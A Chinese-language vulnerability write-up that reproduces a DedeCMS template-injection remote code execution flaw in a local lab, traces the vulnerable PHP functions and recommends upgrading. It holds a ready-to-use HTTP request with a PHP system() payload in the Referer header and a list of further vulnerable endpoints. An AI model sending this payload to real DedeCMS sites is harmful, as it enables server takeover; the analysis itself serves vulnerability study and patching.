漏洞类型
SSTI RCE
利用条件
影响范围应用
漏洞概述
2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞,由于SQL注入漏洞利用条件极为苛刻,故这里只对该SSTI注入漏洞进行简要分析复现
漏环境搭建
漏洞复现
这里使用phpstudy来搭建环境
网站前台:http://192.168.59.1/index.php?upcache=1
网站后台: http://192.168.59.1/dede/login.php?gotopa...
漏洞利用
GET / plus / flink . php ? dopost=save HTTP / 1.1
Host : 192.168.59.1
Referer : <? php "system" ( whoami ); die ; /*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ * ; q= 0.8 , application / signed -exchange ; v=b3 ; q= 0.9
Accept-Encoding : gzip , deflate
Accept-Language : zh-CN , zh ; q= 0.9
Cookie : PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr ; _csrf_name_26859a31= 736abb4d994bae3b85bba1781e8a50f9 ; _csrf_name_26859a31__ckMd5= 0f 32d9d2b18e1390
Connection : close
类似的URL还有:
/ plus / flink . php ? dopost=save
/ plus / users_products . php ? oid= 1337
/ plus / download . php ? aid= 1337
/ plus / showphoto . php ? aid= 1337
/ plus / users- do . php ? fmdo=sendMail
/ plus / posttocar . php ? id= 1337
/ plus / recommend . php
漏洞分析
漏洞入口位于plus/flink.php文件中,在该文件中如果我们传入的dopost值为save且未传递验证码时,紧接着会去调用ShowMsg函数:
之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内
/**
* 短消息函数,可以在某个动作处理后友好的提示信息
*
* @param string $msg 消息提示信息
* @param string $gourl 跳转地址
* @param int $onlymsg 仅显示信息
* @param int $limittime 限制时间
* @return void
*/
function ShowMsg ( $msg , $gourl , $onlymsg = 0 , $limittime = 0 )
{
if ( empty ( $GLOBALS [ 'cfg_plus_dir' ])) {
$GLOBALS [ 'cfg_plus_dir' ] = ' .. ' ;
}
if ( $gourl == - 1 ) {
$gourl = isset ( $_SERVER [ 'HTTP_REFERER' ]) ? $_SERVER [ 'HTTP_REFERER' ] : '' ;
if ( $gourl == "" ) {
$gourl = - 1 ;
}
}
$htmlhead = "
< html > \r\n < head > \r\n < title > DedeCMS提示信息 </ title > \r\n
< meta http-equiv="Content-Type" content="text/html; charset={dede:global.cfg_soft_lang/}" />
< meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
< meta name="renderer" content="webkit">
< meta http-equiv="Cache-Control" content="no-siteapp" />
< link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css" />
< link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/css/manage.dede.css">
< base target='_self' />
</ head >
< body >
" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
< center style="width:450px" class="uk-container">
< div class="uk-card uk-card-small uk-card-default" style="margin-top: 50px;">
< div class="uk-card-header" style="height:20px">DedeCMS 提示信息!</div>
< script > \r\n";
$htmlfoot = "
</ script >
</ center >
< script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js"></script>
< script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js"></script>
</ body > \r\n </ html > \r\n";
$litime = ( $limittime == 0 ? 1000 : $limittime );
$func = '' ;
if ( $gourl == '- 1' ) {
if ( $limittime == 0 ) {
$litime = 3000 ;
}
$gourl = "javascript:history.go(-1);" ;
}
if ( $gourl == '' || $onlymsg == 1 ) {
$msg = "<script>alert("" . str_replace ( """ , "“" , $msg ) . "");</script>" ;
} else {
//当网址为:close::objname 时, 关闭父框架的id=objname元素
if ( preg_match ( ' / close ::/ ' , $gourl )) {
$tgobj = trim ( preg_replace ( ' / close ::/ ' , '' , $gourl ));
$gourl = 'javascript :; ' ;
$func . = "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n" ;
}
$func . = "var pgo=0;
function JumpUrl (){
if ( pgo== 0 ){ location='$gourl' ; pgo= 1 ; }
} \r\n";
$rmsg = $func ;
$rmsg . = "document.write("<div style='height:130px;font-size:10pt;background:#ffffff'><br />");\r\n" ;
$rmsg . = "document.write("" . str_replace ( """ , "“" , $msg ) . "");\r\n" ;
$rmsg . = "document.write("" ;
if ( $onlymsg == 0 ) {
if ( $gourl != 'javascript :; ' && $gourl != '' ) {
$rmsg . = "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>" ;
$rmsg . = "<br/></div>");\r\n" ;
$rmsg . = "setTimeout('JumpUrl()',$litime);" ;
} else {
$rmsg . = "<br/></div>");\r\n" ;
}
} else {
$rmsg . = "<br/><br/></div>");\r\n" ;
}
$msg = $htmlhead . $rmsg . $htmlfoot ;
}
$tpl = new DedeTemplate ();
$tpl-> LoadString ( $msg );
$tpl-> Display ();
}
在这里我们可以看到如果gourl被设置为−1(间接可控),则攻击者可以通过HTTPREFERER控制gourl被设置为−1(间接可控),则攻击者可以通过HTTPREFERER控制gourl处变量的值,而该变量未经过滤直接赋值给变量gourl,之后经过一系列的操作之后将gourl,之后经过一系列的操作之后将gourl与html代码拼接处理后转而调用
tpl−>LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由tpl−>LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由str赋值过来,该变量攻击者可控,之后将其进行一次md5计算,然后设置缓存文件和缓存配置文件名,缓存文件位于data\tplcache目录,之后调用ParserTemplate对文件进行解析:
ParserTemplate如下:
/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate ()
{
if ( $this-> makeLoop > 5 ) {
return ;
}
$this-> count = - 1 ;
$this-> cTags = array ();
$this-> isParse = true ;
$sPos = 0 ;
$ePos = 0 ;
$tagStartWord = $this-> tagStartWord ;
$fullTagEndWord = $this-> fullTagEndWord ;
$sTagEndWord = $this-> sTagEndWord ;
$tagEndWord = $this-> tagEndWord ;
$startWordLen = strlen ( $tagStartWord );
$sourceLen = strlen ( $this-> sourceString );
if ( $sourceLen <= ( $startWordLen + 3 )) {
return ;
}
$cAtt = new TagAttributeParse ();
$cAtt-> CharToLow = true ;
//遍历模板字符串,请取标记及其属性信息
$t = 0 ;
$preTag = '' ;
$tswLen = strlen ( $tagStartWord );
@$cAtt-> cAttributes-> items = array ();
for ( $i = 0 ; $i < $sourceLen ; $i ++ ) {
$ttagName = '' ;
//如果不进行此判断,将无法识别相连的两个标记
if ( $i - 1 >= 0 ) {
$ss = $i - 1 ;
} else {
$ss = 0 ;
}
$tagPos = strpos ( $this-> sourceString , $tagStartWord , $ss );
//判断后面是否还有模板标记
if ( $tagPos == 0 && ( $sourceLen - $i < $tswLen
|| substr ( $this-> sourceString , $i , $tswLen ) != $tagStartWord )
) {
$tagPos = - 1 ;
break ;
}
//获取TAG基本信息
for ( $j = $tagPos + $startWordLen ; $j < $tagPos + $startWordLen + $this-> tagMaxLen ; $j ++ ) {
if ( preg_match ( "/[ >/\r\n\t}.]/" , $this-> sourceString [ $j ])) {
break ;
} else {
$ttagName . = $this-> sourceString [ $j ];
}
}
if ( $ttagName != '' ) {
$i = $tagPos + $startWordLen ;
$endPos = - 1 ;
//判断 '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord ;
$e1 = strpos ( $this-> sourceString , $sTagEndWord , $i );
$e2 = strpos ( $this-> sourceString , $tagStartWord , $i );
$e3 = strpos ( $this-> sourceString , $fullTagEndWordThis , $i );
$e1 = trim ( $e1 );
$e2 = trim ( $e2 );
$e3 = trim ( $e3 );
$e1 = ( $e1 == '' ? '- 1' : $e1 );
$e2 = ( $e2 == '' ? '- 1' : $e2 );
$e3 = ( $e3 == '' ? '- 1' : $e3 );
if ( $e3 == - 1 ) {
//不存在'{/tag:标记'
$endPos = $e1 ;
$elen = $endPos + strlen ( $sTagEndWord );
} else if ( $e1 == - 1 ) {
//不存在 '/}'
$endPos = $e3 ;
$elen = $endPos + strlen ( $fullTagEndWordThis );
}
//同时存在 '/}' 和 '{/tag:标记'
else {
//如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
if ( $e1 < $e2 && $e1 < $e3 ) {
$endPos = $e1 ;
$elen = $endPos + strlen ( $sTagEndWord );
} else {
$endPos = $e3 ;
$elen = $endPos + strlen ( $fullTagEndWordThis );
}
}
//如果找不到结束标记,则认为这个标记存在错误
if ( $endPos == - 1 ) {
echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n" ;
break ;
}
$i = $elen ;
//分析所找到的标记位置等信息
$attStr = '' ;
$innerText = '' ;
$startInner = 0 ;
for ( $j = $tagPos + $startWordLen ; $j < $endPos ; $j ++ ) {
if ( $startInner == 0 ) {
if ( $this-> sourceString [ $j ] == $tagEndWord ) {
$startInner = 1 ;
continue ;
} else {
$attStr . = $this-> sourceString [ $j ];
}
} else {
$innerText . = $this-> sourceString [ $j ];
}
}
$ttagName = strtolower ( $ttagName );
//if、php标记,把整个属性串视为属性
if ( preg_match ( "/^if[0-9]{0,}$/" , $ttagName )) {
$cAtt-> cAttributes = new TagAttribute ();
$cAtt-> cAttributes-> count = 2 ;
$cAtt-> cAttributes-> items [ 'tagname' ] = $ttagName ;
$cAtt-> cAttributes-> items [ 'condition' ] = preg_replace ( "/^if[0-9]{0,}[\r\n\t ]/" , "" , $attStr );
$innerText = preg_replace ( "/{else}/i" , '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>' , $innerText );
} else if ( $ttagName == 'php' ) {
$cAtt-> cAttributes = new TagAttribute ();
$cAtt-> cAttributes-> count = 2 ;
$cAtt-> cAttributes-> items [ 'tagname' ] = $ttagName ;
$cAtt-> cAttributes-> items [ 'code' ] = '<' . "?php\r\n" . trim (
preg_replace (
"/^php[0-9]{0,}[\r\n\t ]/" ,
"" , $attStr
)
) . "\r\n?" . '>' ;
} else {
//普通标记,解释属性
$cAtt-> SetSource ( $attStr );
}
$this-> count ++ ;
$cTag = new Tag ();
$cTag-> tagName = $ttagName ;
$cTag-> startPos = $tagPos ;
$cTag-> endPos = $i ;
$cTag-> cAtt = $cAtt-> cAttributes ;
$cTag-> isCompiler = false ;
$cTag-> tagID = $this-> count ;
$cTag-> innerText = $innerText ;
$this-> cTags [ $this-> count ] = $cTag ;
} else {
$i = $tagPos + $startWordLen ;
break ;
}
} //结束遍历模板字符串
if ( $this-> count > - 1 && $this-> isCompiler ) {
$this-> CompilerAll ();
}
}
之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数
在WriteCache函数中写入缓存文件:
在这里使用GetResult返回值sourceString来设置$result变量,该变量包含攻击者控制的输入数据:
之后调用CheckDisabledFunctions函数进行检查操作,该函数主要用于检查是否存在被禁止的函数,然后通过token_get_all_nl函数获取输入,然而处理时并没有过滤双引号,存在被绕过的风险,攻击者可以通过将恶意PHP写到临时文件,之后在Display函数处通过include $tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行:
安全建议
目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版,建议升级到该版本
点击获取【网络安全学习资料·攻略】